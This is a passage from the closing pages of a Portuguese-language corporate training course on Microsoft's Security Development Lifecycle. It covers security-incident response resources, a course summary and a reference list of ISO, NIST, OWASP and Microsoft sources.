qualquer outro meio, inclusive dispositivos móveis)
Use feeds RSS dos boletins de segurança.
Receba notificações antecipadas sobre os lançamentos dos boletins.
Faça download das atualizações e implante-as a partir do Microsoft
Windows Update, da Central de Downloads Microsoft e Microsoft
Office Downloads.
Cadastre-se para receber Webcasts dos Boletins de Segurança.
Confira a Consultoria de Segurança Microsoft.
Procure os boletins de segurança.
Utilize recursos de segurança para manter seu PC protegido.
TELA 21 O que fazer quando ocorrer um incidente de segurança
Visite o site de Segurança Microsoft para saber as últimas
informações sobre os incidentes de segurança.
Leia o Blog do MSRC para obter informações atualizadas.
Mantenha-se em dia com as atualizações de segurança a partir
do Microsoft Windows Update e da Central de Downloads Microsoft.
ProdutivaTI Página 126 de 131
MÓDULO 3 - SDL
Utilize recursos de segurança para manter seu PC protegido.
Execute a ferramenta de remoção de software malicioso do
Windows.
TELA 22 Chegamos ao final do último capítulo do nosso Curso. Nele, você
conheceu o papel da gestão de vulnerabilidades e o processo de resposta à
incidentes de segurança. Considerando a característica pontual deste
conteúdo, esta unidade de aprendizagem não comporta um tópico Em RESUMO.
ProdutivaTI Página 127 de 131
MÓDULO 3 - SDL
TELA 1CONSIDERAÇÕES FINAIS (5 telas)
Chegamos ao final do PDTI Módulo 3, SDL. Com ele, concluímos,
também, o nosso Curso: Plano de Desenvolvimento da Tecnologia de
Informação.
Ao longo dos três módulos do Curso você recebeu uma visão ampla de
análise de negócios, com o BABOK®3; aprendeu a conduzir projetos em
ambientes controlados, com o PRINCE2®; e muniu-se com o instrumental para
desenvolvimento seguro de aplicações, por meio do SDL.
TELA 2
Como sabemos desde o início, esse treinamento representa uma
iniciativa que reflete a preocupação da CAIXA com a Governança de TI, para
ampliar a capacidade dos empregados CAIXA de identificar necessidades de
negócios e definir soluções seguras para atendê-las.
Ao longo dos dez capítulos deste Curso, você teve a oportunidade de
iniciar e avançar na temática do desenvolvimento seguro, além da definição de
risco e de técnicas básicas para sua administração.
Entendeu a importância da segurança em desenvolvimento; justificativas
operacionais e estratégicas; cases de implementação; e teve uma visão geral
de regulamentações que demandam segurança em desenvolvimento.
Conheceu o Security Development Lifecycle (SDL), suas fases de
planejamento; de design; de implementação; e de administração da solução.
TELA 3Identificou papéis e responsabilidades de revisores, especialistas,
auditores e facilitadores no contexto da proposta do SDL. Percebeu o processo
de modelagem de ameaças.
Foi apresentado à comunidade internacional Open Web Application
Security Project (OWASP) e a todas as vulnerabilidades discriminadas pelo
OWASP Top 10 2013.
ProdutivaTI Página 128 de 131
MÓDULO 3 - SDL
Incorporou as noções de segurança por código; práticas gerais de
código seguro; validação de entradas e codificação de saída; autenticação e
gerenciamento de senhas; autorização e gerenciamento de acesso;
gerenciamento de sessão; transmissão e armazenamento de informações
sensíveis; interação com banco de dados; tratamento adequado de erros; e
logging.
TELA 4Tratou as questões relativas ao suporte na revisão e desenvolvimento,
ferramentas de suporte a análise e o recurso continuous delivery. Abordou
métricas para o estabelecimento e para o acompanhamento do processo de
desenvolvimento seguro. Familiarizou-se com os processos de resposta a
incidentes de segurança e de gestão de vulnerabilidades.
TELA 5Acrescente todo esse conteúdo ao que conheceu nos dois primeiros
módulos, BABOK®3 e ao PRINCE2®. Você, muito provavelmente, está pronto
para exercitar bem melhor suas atividades como analista de negócios; gerente
de projetos; revisor, especialista, auditor ou facilitador de segurança.
Foi uma jornada longa e complexa, que você acabou de concluir.
Parabéns.
ProdutivaTI Página 129 de 131
MÓDULO 3 - SDL
TELAS 1 a 3FONTES DE CONSULTAS (3 telas)
ABNT. NBR ISO/IEC 27001 - Tecnologia da informação - Técnicas de segurança - Sistemas de gestão de segurança da informação – Requisitos. Rio de Janeiro: ABNT, 2006.
ABNT. NBR ISO/IEC 27002 - Tecnologia da informação: código de prática para a gestão da segurança da informação. Rio de Janeiro: ABNT, 2005.
ABNT. NBR ISO/IEC 27005 - Tecnologia da informação — Técnicas de segurança — Gestão de riscos de segurança da informação. Rio de Janeiro: ABNT, 2011.
BRASIL, Cartilha de Segurança para Internet, versão 4.0 / CERT.br – São Paulo: Comitê Gestor da Internet no Brasil, 2012.
BRASIL, Cartilha técnica SLTI. Guia de interoperabilidade, Brasília 2013.
BRASIL, Guia de Orientação para Implementação de Web Services disponível em http://www.governoeletronico.gov.br/anexos/guia-de-orientacao-para-implementacao-de-webservices/view Acesso: fev 2017.
BRASIL, Ministério do Planejamento Orçamento e Gestão. Secretaria de Logística e Tecnologia da Informação. Departamento de Serviços de Rede. Guia de referencia para a segurança da informação usuário final. Brasília, 2005.
BRASIL, Norma Complementar IN-GSI/PR nº 1 de 15 de Outubro de 2008.
BRASIL, Presidência da Republica. Casa Civil. Decreto nº 3.505 de 13 de Junho de 2000.
BRASIL, Presidência da República. Gabinete de Segurança Institucional. Departamento de Segurança da Informação e Comunicações. Livro verde : segurança cibernética no Brasil – Brasília, 2010.
MICROSOFT, Microsoft Security Development Lifecycle Process 5.2 – 2012.
Microsoft, Security and Identity. Microsoft Security Development Lifecycle (SDL): Process Guidance. Disponível em: < https://msdn.microsoft.com/en-us/library/84aed186-1d75-4366-8e61-8d258746bopq.aspx>. Acesso: fev. 2017.
Microsoft, TechNet Library. Patterns & Practices. Improving Web Services Security:
Scenarios and Implementation Guidance for WCF. Chapter 1: Security Fundamentals for Web
Services. Disponível em: <
https://msdn.microsoft.com/pt-br/enus/library/ff648318.aspx#WebServicesSecurityPrinciples>.
Acesso: fev. 2017.
Microsoft, TechNet Library. Patterns & Practices. Modelagem de Ameaças de Segurança. Elaboração de Modelos de Ameaças. Disponível em: <https://technet.microsoft.com/pt-br/pt%C2%ADbr/library/dd569893.aspx>. Acesso: fev. 2017.
NIST, National Institute of Standards and Technology Special Publication 800-95 (Aug. 2007)
NIST, National Institute of Standards and Technology Special Publication 800-64 (Oct.
2008).
ProdutivaTI Página 130 de 131
MÓDULO 3 - SDL
OWASP, Open Web Application Security Project . The OWASP Top10 2013 for brasilian portuguese. Disponível em: <https://www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013>. Acesso: fev. 2017.
ProdutivaTI Página 131 de 131